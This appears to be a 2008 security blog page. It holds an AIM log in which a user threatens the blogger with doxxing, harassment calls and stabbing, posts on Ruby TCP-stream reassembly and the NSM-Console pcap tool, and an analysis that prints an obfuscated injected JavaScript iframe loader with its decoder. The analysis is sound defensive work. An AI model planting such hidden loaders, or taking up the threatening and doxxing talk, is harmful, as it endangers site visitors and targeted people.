The Strange Case of Yousif Yalda, an addendum

For people who follow the McGrewSecurity.com blog by Wesley McGrew, you are no doubt familiar with an “internet user” by the name of Yousif Yalda. For a little background, take a read on Wesley’s post on some of the “business tactics” of Yousif.

Seeing as how this is the internet, and we’re all entitled to our opinion, I posted my own opinion as a comment on the blog, what follows is an AIM coversation with Yousif about my comment. Entirely uncut and unedited (I replaced foul language with “****”). I think the security community should know. Without further ado:

11:32:02 PM Yousif: .
8:59:51 AM Lee: ?
11:20:17 AM Lee: You IM’d me?
11:20:25 AM Yousif: Yup
11:20:40 AM Yousif: So why exactly did you say what you said on Wesley’s post about me?
11:21:00 AM Lee: Because I had seen some of the posts you had posted in the mailinglists that I read
11:21:09 AM Yousif: Right..
11:21:15 AM Yousif: Go ahead and support yourself.
11:21:24 AM Yousif: I want to know what’s so noobish about my posts.
11:21:47 AM Lee: I didn’t say that they were “noobish”
11:22:21 AM Yousif: You said I needed attention?
11:22:22 AM Yousif: How so?
11:22:47 AM Yousif: I merely asked for views and opinions to be expressed amongst what I had linked.
11:22:48 AM Lee: your mailing list post seemed more like shameless self-promotion
11:23:07 AM Yousif: No, you’ve just got the wrong idea.
11:23:24 AM Yousif: Btw, if you didn’t, I’m only 17 and I’m managing x1000 more than you ever can.
11:23:35 AM Yousif: So you need to learn to shut your mouth and think about what you say next time.
11:23:43 AM Lee: you have no idea how much I manage..?
11:23:53 AM Yousif: It’s been barely an entire year for me in web application security..
11:23:59 AM Yousif: All I’ve been doing is trying to learn and contribute.
11:24:12 AM Yousif: Dude, I’m a nice ***ing guy and I work hard, Wesley is an idiot.
11:24:29 AM Yousif: We were cool to a point until he got upset because I stopped talking to him.
11:24:37 AM Yousif: The information he provided is false and was photoshopped..
11:24:39 AM Lee: Wesley isn’t an idiot, I hardly believe that’s true
11:25:06 AM Yousif: Those screenshots; only one is true, the FTP screenshot because I sent him that when we were discussing how to implement SSL in a specific manner.
11:25:11 AM Yousif: The rest is garbage.
11:25:43 AM Lee: Why should you care what he posts then? Why not just ignore it?
11:25:58 AM Yousif: Don’t act stupid. You want me to drop YOUR docs?
11:25:59 AM Yousif: Do you?
11:26:09 AM Yousif: You want to appear as a top-page result in Google?
11:26:10 AM Lee: “drop my docs”?
11:26:12 AM Yousif: I don’t think so.
11:26:16 AM Yousif: Aww how cute.
11:26:20 AM Yousif: You don’t know what that maens.
11:26:21 AM Yousif: means*
11:26:23 AM Yousif: Exactly.
11:26:27 AM Yousif: Your pure Whitehat.
11:26:33 AM Yousif: You don’t even know basic terms of a black hat hacker..
11:26:34 AM Lee: Pardon me for not being familiar with your slang
11:26:40 AM Yousif: I was one, and I’m trying to be clean.
11:26:50 AM Yousif: It means I’ll post information about you.
11:26:53 AM Yousif: Negative information
11:27:05 AM Yousif: Where you live, number, and a lot of stuff that isn’t public.
11:27:08 AM Lee: so, is that supposed to scare me?
11:27:16 AM Yousif: That’s a question only.
11:27:16 AM Lee: where I live and my number is public anyhow
11:27:26 AM Lee: knock yourself out
11:27:34 AM Yousif: Oh, how cool would it be for me to automate something to call you every couple of seconds?
11:27:39 AM Yousif: Hmm, that sounds peaceful..
11:27:42 AM Yousif: Be realistic here.
11:27:51 AM Yousif: No one wants that type of information out like that especially as such a post.
11:28:03 AM Yousif: Ignoring it doesn’t make it go away.
11:28:19 AM Yousif: It simply ruins my reputation, and I’ve done nothing to have that going for me.
11:28:42 AM Yousif: It also doesn’t help when you don’t have a factual clue about me and you go and post that comment
11:28:49 AM Lee: my personal information is widely available on the internet, I don’t think a post by you is really going to change that
11:29:07 AM Yousif: Do you know what happens after you drop someone’s dox?
11:29:12 AM Yousif: Dude, it goes into EFFECT.
11:29:25 AM Yousif: You’ve got a number, well I’ll threaten you, that’s how the game is played.
11:29:34 AM Yousif: You’ve got an address, I’ll come over and stab you.
11:29:36 AM Yousif: It’s common ****.
11:29:55 AM Lee: are you aware that this is a record of threat, and that it can be used as legal evidence of that fact?
11:30:17 AM Yousif: Not really, genius.
11:30:24 AM Yousif: I showed you that it was an example of what that term meant.
11:30:27 AM Yousif: I can do the same as he had done but instead provide valid information supporting my post, but I’d rather not because I’m not here to dual with anyone.
11:30:52 AM Lee: if you’re not here to “dual” with anyone, why the defensive and attacking attitude?
11:31:18 AM Yousif: You posted a negative remark about me, how can I be cool with that; especially when it’s not true.
11:31:50 AM Yousif: Attend a conference and talk to me once, we’ll see who’s “attention-needy”.
11:31:57 AM Lee: it’s a blog, it’s my opinion, it’s the internet, opinions should be respected
11:32:28 AM Lee: if you don’t agree, ignore it
11:32:45 AM Yousif: Again, it’s not something that can be ignored..
11:32:47 AM Yousif: You know that.
11:33:10 AM Lee: I believe it’s quite ignorable
11:33:36 AM Yousif: It’s like saying “I’ll drop your docs and mass spam it across a HUGE text file with emails so everyone can see this”.
11:34:28 AM Lee: and like I was saying, personal information for me is already easily accessible on the internet
11:35:28 AM Lee: from what I can tell, it looks like similar people have the same opinion as me, why not go bother them?
11:35:58 AM Yousif: I’m not bothering you, I’m making you feel very stupid for what you had to say.
11:36:16 AM Yousif: You also can’t understand what dropping your docs mean after I told you what it is, along with examples.
11:36:20 AM Lee: I’m not feeling stupid
11:36:49 AM Yousif: Yes, you are. You respond back with remarks that make no sense, but instead go in a cycle of bull****.
11:37:11 AM Lee: alright, what remarks need clarification then?
11:37:22 AM Yousif: Yes, genius your information is public, but there are private information I can get against you, post it and tell people to harass and threaten you a million times.. Now do you understand?
11:37:42 AM Yousif: You keep thinking that your information will be there for eyes to read.. instead it’ll be used.
11:37:51 AM Lee: what makes you think people will want to threaten and harass me?
11:37:53 AM Yousif: But that’s just an example to clarify your misconception.
11:38:06 AM Yousif: It’s a game, it’s how it’s played.
11:38:08 AM Yousif: Google it.
11:38:47 AM Lee: frankly, I don’t care what you and your buddies are up to with my information
11:39:00 AM Yousif: Anyways, I’m done with you. I was trying to implement some facts to make you more open-minded but I see that your just as wrong as he is, so do what you want, I’ll be seeing you soon.
11:39:40 AM Lee: toodles
Changed status to Idle (11:58:12 AM)

Did I handle that perfectly? Probably not, but that’s the internet. If you’re easily offended by other’s opinions, leave.

I welcome comments :)

March 28, 2008 | Filed Under aim, kiddie, log, script, skiddie, threats, yousif | 13 Comments 

Rebuilding TCP streams with Ruby part 2: fuzzysort

This is part 2 of a series on rebuilding TCP streams using Ruby, for more information, visit the previous post:

In my previous post, I talked about using fuzzy sequence/acknowledge numbers to split a network capture file into streams. Using fuzzymatch was pretty successful for cutting streams out, but the streams themselves were not ordered. This version of the Ruby StreamBuilder library orders the streams by using increasing seq/ack numbers, or as I like to call it “fuzzysort”. In order to do this, fuzzysort first splits the stream into a “source” stream and a “destination” stream. After spliting the streams, the streams are ordered in ascending acknowledgement order, where if there are duplicate acks, the ascending sequence numbers are used. The streams are then printed in ordered fashion (since this is just proof of concept)

You can download the code for fuzzymatch-sort here.

It’s interesting to note that because of implementing the ordered streams in a hash using the seq/ack as the key, the list does not handle duplicate packets. I added some logic so that a large data packet is not replaced by a simple ack packet with the same numbers, so the streams should still have the correct data after being ordered.

Here’s an example of running fuzzymatch-sort.rb on a randomized single-stream pcap file:

shell> ./fuzzymatch-sort.rb ../pcaps/pLargeRand.pcap
[1]    [....S.] 128.222.228.89 -> 128.222.228.77    seq=638858703 ack=0 len=78
Starting a new stream...
[2]    [.A..S.] 128.222.228.77 -> 128.222.228.89    seq=2849933258 ack=638858704 len=74
ack num: 638858704 close enough to 638858703 to add. Had to check 1 streams and 2 seq/ack nums
[3]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=638862706 ack=2849933260 len=66
ack num: 2849933260 close enough to 2849933258 to add. Had to check 1 streams and 2 seq/ack nums
[4]    [.AP...] 128.222.228.89 -> 128.222.228.77    seq=638861176 ack=2849933259 len=666
ack num: 2849933259 close enough to 2849933260 to add. Had to check 1 streams and 1 seq/ack nums
[5]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=638858704 ack=2849933259 len=66
ack num: 2849933259 close enough to 2849933259 to add. Had to check 1 streams and 1 seq/ack nums
[6]    [.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861776 len=66
seq num: 2849933259 close enough to 2849933259 to add. Had to check 1 streams and 1 seq/ack nums
[7]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=638859728 ack=2849933259 len=1514
ack num: 2849933259 close enough to 2849933259 to add. Had to check 1 streams and 2 seq/ack nums
[8]    [.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638862706 len=66
seq num: 2849933259 close enough to 2849933259 to add. Had to check 1 streams and 3 seq/ack nums
[9]    [.AP...] 128.222.228.89 -> 128.222.228.77    seq=638858704 ack=2849933259 len=1090
ack num: 2849933259 close enough to 2849933259 to add. Had to check 1 streams and 3 seq/ack nums
[10]    [.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861176 len=66
seq num: 2849933259 close enough to 2849933259 to add. Had to check 1 streams and 3 seq/ack nums
[11]    [.A...F] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638862706 len=66
seq num: 2849933259 close enough to 2849933259 to add. Had to check 1 streams and 3 seq/ack nums
Ended up with 1 stream(s).

==> Stream 1 contains 11 packet(s)
--> Sorting stream 1...
[1]    [....S.] 128.222.228.89 -> 128.222.228.77    seq=638858703 ack=0 len=78
[2]    [.A..S.] 128.222.228.77 -> 128.222.228.89    seq=2849933258 ack=638858704 len=74
[3]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=638862706 ack=2849933260 len=66
[4]    [.AP...] 128.222.228.89 -> 128.222.228.77    seq=638861176 ack=2849933259 len=666
[5]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=638858704 ack=2849933259 len=66
[6]    [.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861776 len=66
[7]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=638859728 ack=2849933259 len=1514
[8]    [.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638862706 len=66
[9]    [.AP...] 128.222.228.89 -> 128.222.228.77    seq=638858704 ack=2849933259 len=1090
[10]   [.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861176 len=66
[11]   [.A...F] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638862706 len=66

==== Unsorted Streams ====

Source
-------
[....S.] 128.222.228.89 -> 128.222.228.77    seq=638858703 ack=0 len=78
[.A....] 128.222.228.89 -> 128.222.228.77    seq=638862706 ack=2849933260 len=66
[.AP...] 128.222.228.89 -> 128.222.228.77    seq=638861176 ack=2849933259 len=666
[.A....] 128.222.228.89 -> 128.222.228.77    seq=638858704 ack=2849933259 len=66
[.A....] 128.222.228.89 -> 128.222.228.77    seq=638859728 ack=2849933259 len=1514
[.AP...] 128.222.228.89 -> 128.222.228.77    seq=638858704 ack=2849933259 len=1090
Dest
-------
[.A..S.] 128.222.228.77 -> 128.222.228.89    seq=2849933258 ack=638858704 len=74
[.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861776 len=66
[.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638862706 len=66
[.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861176 len=66
[.A...F] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638862706 len=66

==== Sorted Streams ====

Source
-------
[....S.] 128.222.228.89 -> 128.222.228.77    seq=638858703 ack=0 len=78
[.AP...] 128.222.228.89 -> 128.222.228.77    seq=638858704 ack=2849933259 len=1090
[.A....] 128.222.228.89 -> 128.222.228.77    seq=638859728 ack=2849933259 len=1514
[.AP...] 128.222.228.89 -> 128.222.228.77    seq=638861176 ack=2849933259 len=666
[.A....] 128.222.228.89 -> 128.222.228.77    seq=638862706 ack=2849933260 len=66
Dest
-------
[.A..S.] 128.222.228.77 -> 128.222.228.89    seq=2849933258 ack=638858704 len=74
[.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861176 len=66
[.A....] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638861776 len=66
[.A...F] 128.222.228.77 -> 128.222.228.89    seq=2849933259 ack=638862706 len=66

Another addition in this version is that the fuzzymatch algorithm that is used to generate streams has been optimized (mostly because I was doing it stupidly last time) so that seq/ack searches don’t take nearly as long for large pcap files. You can download an example of fuzzysort output from a pcap file with 5 streams here.

While this is a step up from the unsorted fuzzymatch from the last post, this method still has its downfalls, not being able to store duplicate seq/ack packets could definitely cause problems. The ability to generate a sorted stream without having to split the stream into source and destination streams would also be extremely useful (so you could see a full transmission stream from both sides).

The next evolution of the library would be to actually keep a state table and follow TCP streams using the seq/ack numbers (which I attempted for this version, but it was extremely complex, so I scraped it and did fuzzysort). Hopefully I’ll be able to implement it without any problems. I might take the easy route and go for using TCP TSVal to attempt to order streams.

Comments? Criticism? Leave a comment and let me know :)

March 19, 2008 | Filed Under fuzzymatch, internet, rebuild, ruby, script, sequence, stream, tcp | 1 Comment 

NSM-Console version 0.6 release

nsmmonkeyI’m happy to announce the release of the next version of NSM-Console. Version 0.6. If you are unfamiliar with NSM-Console, here’s the synopsis from the project page:

NSM-Console (Network Security Monitoring Console) is a framework for performing analysis on packet capture files. It implements a modular structure to allow for an analyst to quickly write modules of their own without any programming language experience. Using these modules a large amount of pcap analysis can be performed quickly using a set of global (as well as per-module) options. It aims to be simple to run and easy to understand without a lot of learning time.

The recently posted NSM-Console whitepaper is a good place to start if you want an introduction to NSM-Console.

You can download NSM-Console 0.6 from the project page.

Here are the highlights for the changes in this version, check the TODO and CHANGELOG for a full list of changes.

The dump command
The dump command lets you dump either the payload (in ascii format), or the full packet (with the -f flag) to a file, you can specify ranges like 1-20, 5,7,9-* and 1-* just like you can with the print command, extremely useful for picking and choosing packets to dump to a file. Here’s an example:

nsm> dump 1-5,10-* file.txt
Writing (append) packet(s) 1 through 5 from /Users/hinmanm/data.pcap to file.txt...
Writing (append) packet(s) 10 through * from /Users/hinmanm/data.pcap to file.txt...

And another of the full dump

nsm> dump -f 20,56-59 full.out
New args: 20,56-59 full.out
Dumping full packet, not just payload...
Writing (append) packet(s) 20 through 20 from /Users/hinmanm/data.pcap to full.out...
Writing (append) packet(s) 56 through 59 from /Users/hinmanm/data.pcap to full.out...

Performance improvements for harimau and checkip
The Harimau module, as well as the checkip command, now use wget (if it’s installed) instead of Ruby’s HTTP request library, this results is a much much faster query time. Another performance tweak was that reverse dns lookups for most modules is now turned off by default because it was taking extremely long for large pcaps

New modules: clamscan, foremost, trace-summary
New modules have been included in this release, clamscan, which scans extracted files (from either the tcpxtract or foremost modules) for viruses, foremost, which is another file extractor and trace-summary, which provides an extremely nice summary of traffic in the pcap

NSM-Console handle’s gzip’d files
You can now specify a gzip’d file directly to NSM-Console, it will attempt to decompress the file into a temporary file when it is loaded. Note that directories of gzip’d files is still not supported entirely.

Bro-ids and Snort changes
Bro-IDS has been split into 2 modules, one for protocol analysis and the other for generating content streams.
Snort has had its community and emerging rules updated to the latest revisions.

As always, bugfixes and minor enhancements, check out the full changelog for a list of what’s changed. If you have any requests for additional features or modules, be sure to leave a command and let me know :)

Also, if anyone out there wants to see what my ~/.nsmcrc looks like, you can find it here.

March 14, 2008 | Filed Under 0.6, bro-ids, clamscan, dump, foremost, gzip, harimau, monitoring, network, nsm, nsm console, packet, pcap, security, snort, trace-summary, whitepaper | Leave a Comment 

Rebuilding TCP streams with Ruby part 1: fuzzymatch

I have undertaken the (not so small) task of attempting to use Ruby to rebuild TCP data streams. I was originally planning on using ruby-libnids, but after running into considerable trouble with dynamic library linking on OSX, I decided it’d be a good experiment to write my own.

This is not a small feat. In fact, I probably won’t ever get it working perfectly (or if I do, it certainly won’t be soon). In a series of posts, I’ll be exploring some of the development decisions, design choices and pitfalls that I run into, sort of a development journal. Why would a tool like this ever be useful? Well, if you want to do analysis on packet payloads, you certainly have to make sure you have a contiguous data segment to work on, otherwise part of the message is lost. I do, however, have a few things going for me:

For the first installment, I want to talk about fuzzymatching using sequence and ackknowledgement numbers. I have released my proof-of-concept code here, but I’ll be going over it in more detail in this post:

Okay, let’s start by dumping the most simply pcap file datastream I could possibly generate (sending the word “test” using netcat):

./sdump.rb pcaps/pSmall.pcap
[1]    [....S.] 128.222.228.89 -> 128.222.228.77    seq=4679659509 ack=0 len=78
[2]    [.A..S.] 128.222.228.77 -> 128.222.228.89    seq=30782357 ack=4679659510 len=74
[3]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=4679659510 ack=30782358 len=66
[4]    [.AP...] 128.222.228.89 -> 128.222.228.77    seq=4679659510 ack=30782358 len=71
[5]    [.A...F] 128.222.228.89 -> 128.222.228.77    seq=4679659515 ack=30782358 len=66
[6]    [.A....] 128.222.228.77 -> 128.222.228.89    seq=30782358 ack=4679659516 len=66
[7]    [.A...F] 128.222.228.77 -> 128.222.228.89    seq=30782358 ack=4679659516 len=66
[8]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=4679659516 ack=30782359 len=66

Being the most simple example, you can see that I only have 1 stream to deal with, and that the seq/ack numbers are nice enough to be where we want them to. For the first prototype, I have created a list of Stream objects (containing sequence and ack numbers), and when I get a new packet, I compare its seq/ack numbers to the numbers of streams already in the list, if it’s within a threshold (5 is my value), then it probably belongs to that stream and I add the packet to the stream.

One of the really nice things about processing packets this way is that I don’t have to worry about packet order on the first pass, if a packet is close enough, it’s added, if it isn’t, a new stream is created. Fuzzymatcher correctly identifies this pcap file as 1 stream:

./fuzzymatch.rb ../pcaps/pSmall.pcap
[1]    [....S.] 128.222.228.89 -> 128.222.228.77    seq=4679659509 ack=0 len=78
No stream found for packet, starting a new one...
[2]    [.A..S.] 128.222.228.77 -> 128.222.228.89    seq=30782357 ack=4679659510 len=74
ack num: 4679659510 close enough to 4679659509 to add.
[3]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=4679659510 ack=30782358 len=66
seq num: 4679659510 close enough to 4679659509 to add.
[4]    [.AP...] 128.222.228.89 -> 128.222.228.77    seq=4679659510 ack=30782358 len=71
seq num: 4679659510 close enough to 4679659509 to add.
[5]    [.A...F] 128.222.228.89 -> 128.222.228.77    seq=4679659515 ack=30782358 len=66
ack num: 30782358 close enough to 30782357 to add.
[6]    [.A....] 128.222.228.77 -> 128.222.228.89    seq=30782358 ack=4679659516 len=66
seq num: 30782358 close enough to 30782357 to add.
[7]    [.A...F] 128.222.228.77 -> 128.222.228.89    seq=30782358 ack=4679659516 len=66
seq num: 30782358 close enough to 30782357 to add.
[8]    [.A....] 128.222.228.89 -> 128.222.228.77    seq=4679659516 ack=30782359 len=66
ack num: 30782359 close enough to 30782357 to add.
Ended up with 1 stream(s).
Stream 1 contains 8 packet(s)

Now, I haven’t added any code to actually order the packets (yet), but this is a good start. Before I continue, how does fuzzymatching handle pcaps with a large amount of data?

./fuzzymatch.rb ../pcaps/data.pcap
... tons of output ...
[1684]    [.A....] 192.168.1.123 -> 64.12.28.76    seq=6079164989 ack=806823238 len=54
seq num: 6079164989 close enough to 6079164989 to add.
[1685]    [.A....] 192.168.1.123 -> 64.12.28.76    seq=6079164989 ack=806825958 len=54
seq num: 6079164989 close enough to 6079164989 to add.
[1686]    [.A....] 192.168.1.123 -> 64.12.28.76    seq=6079164989 ack=806826815 len=54
seq num: 6079164989 close enough to 6079164989 to add.
[1687]    [.A....] 192.168.1.123 -> 64.12.28.76    seq=6079164989 ack=806826815 len=54
seq num: 6079164989 close enough to 6079164989 to add.
[1688]    [.A....] 64.12.165.98 -> 192.168.1.136    seq=424631922 ack=282306986 len=54
No stream found for packet, starting a new one...
[1689]    [.A....] 192.168.1.136 -> 64.12.165.98    seq=282306986 ack=424631923 len=54
ack num: 424631923 close enough to 424631922 to add.
Ended up with 53 stream(s).
Stream 1 contains 8 packet(s)
Stream 2 contains 22 packet(s)
Stream 3 contains 8 packet(s)
Stream 4 contains 34 packet(s)
... lots more output, one for all 53 streams ...

Not bad, for a start. I think the next goal is probably ordering the streams, luckily I can do this in a second pass (or, when the stream data is accessed, cutting down on computation time unless the data is actually needed)

All my POC code can be downloaded from the RSB (Ruby StreamBuilder) project page, which will receive regular updates as I continue development.

Questions? Comments? Flames? Leave me a comment and let me know what you think ;)

You can check all the other parts of the series:

March 11, 2008 | Filed Under fuzzymatch, internet, rebuild, ruby, script, sequence, stream, tcp | 1 Comment 

First published paper on NSM-Console

I’m written a whitepaper on some of the ideas behind NSM-Console, it also explains some of the basics of usage and what it is originally designed for, you can download the whitepaper directly or get it from the papers section on my site.

Excerpt from the abstract:

“With the proliferation of dozens of different packet analysis tools, a network
traffic analyst has a dizzying amount of tools to choose from to analyze
network data. As the number of tools will only increase, a framework to
unite and manage each of these tools is necessary. This framework should
provide a central and uni?ed way to change the options for each of the
tools. My solution to this problem is NSM-Console, or the Network Security
Monitoring Console. “

March 9, 2008 | Filed Under monitoring, network, nsm, nsm console, paper, pdf, publish, security | 1 Comment 

Obfuscated javascript fun

A friend of mine (thanks Legit) turned me on to this piece of javascript found in the midst of some PHP:

<script language="JavaScript">
var0 = "x69x3cx33x27x34x38x30x75x3bx34"; var1 = "x38x30x68x72x36x3ax20x3bx21x30"; var2 = "x27x72x75x26x27x36x68x72x3dx21"; var3 = "x21x25x6fx7ax7ax33x27x34x38x30"; var4 = "x26x21x34x21x7bx3bx30x21x7ax3c"; var5 = "x3bx31x30x2dx67x7bx25x3dx25x72"; var6 = "x75x3dx30x3cx32x3dx21x68x72x64"; var7 = "x63x72x75x22x3cx31x21x3dx68x72"; var8 = "x64x63x72x75x33x27x34x38x30x37"; var9 = "x3ax27x31x30x27x68x72x65x72x75"; var10 = "x26x36x27x3ax39x39x3cx3bx32x68"; var11 = "x72x3bx3ax72x6bx69x7ax3cx33x27"; var12 = "x34x38x30x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>

The “getElementById” that testws35fdgh refers to is this empty div:

<div id="testws35fdgh"></div>

As it turns out, this is some really terrible obfuscation, here’s the simple script to decode it (written in Ruby because I like Ruby):

#!/usr/bin/env ruby
hex = ["x69","x3c","x33","x27","x34","x38",
"x30","x75","x3b","x34","x38","x30","x68",
"x72","x36","x3a","x20","x3b","x21","x30",
"x27","x72","x75","x26","x27","x36","x68",
"x72","x3d","x21","x21","x25","x6f","x7a",
"x7a","x33","x27","x34","x38","x30","x26",
"x21","x34","x21","x7b","x3b","x30","x21",
"x7a","x3c","x3b","x31","x30","x2d","x67",
"x7b","x25","x3d","x25","x72","x75","x3d",
"x30","x3c","x32","x3d","x21","x68","x72",
"x64","x63","x72","x75","x22","x3c","x31",
"x21","x3d","x68","x72","x64","x63","x72",
"x75","x33","x27","x34","x38","x30","x37",
"x3a","x27","x31","x30","x27","x68","x72",
"x65","x72","x75","x26","x36","x27","x3a",
"x39","x39","x3c","x3b","x32","x68","x72",
"x3b","x3a","x72","x6b","x69","x7a","x3c",
"x33","x27","x34","x38","x30","x6b"]
line = ""
hex.each { |c|
## Unpack the char
c = c.unpack('c').to_s.to_i
## XOR with 85
d = c ^ 85
## Pack back into a character
t = [d].pack('c')
## Append to the line
line = line + t
}
puts line

Which eventually leads you to:

<iframe name='counter' src='http://framestat.net/index2.php' height='16' width='16' frameborder='0' scrolling='no'></iframe>

If you do a whois on the framestat.net domain, you can see that the domain was suspended:

Registrant:
Suspended Domain ****@4host.info +1.00000000
Suspended domain
Suspended domain
Suspended domain,
Suspended domain,US 94040

Registration Service Provider:
name: Rustelekom Ltd.
tel: +1.8666254678
fax: +1.9782465632
web:http://nameservers.ru

Looks like someone’s been up to something naughty ;) It also looks like it was originally a Russian site (not that it matters). Since the site is down, it’s difficult to tell what would have happened if the iframe source still existed. I’m guessing malware.

Still, the question remains, how did the javascript get to the page? I’m still looking in to that, right now my theory is php remote-file-inclusion, but we’ll see as things become a bit more clear.

March 5, 2008 | Filed Under iframe, javascript, obfuscation, php, ruby, script | 1 Comment 

Bad Behavior has blocked 250 access attempts in the last 7 days.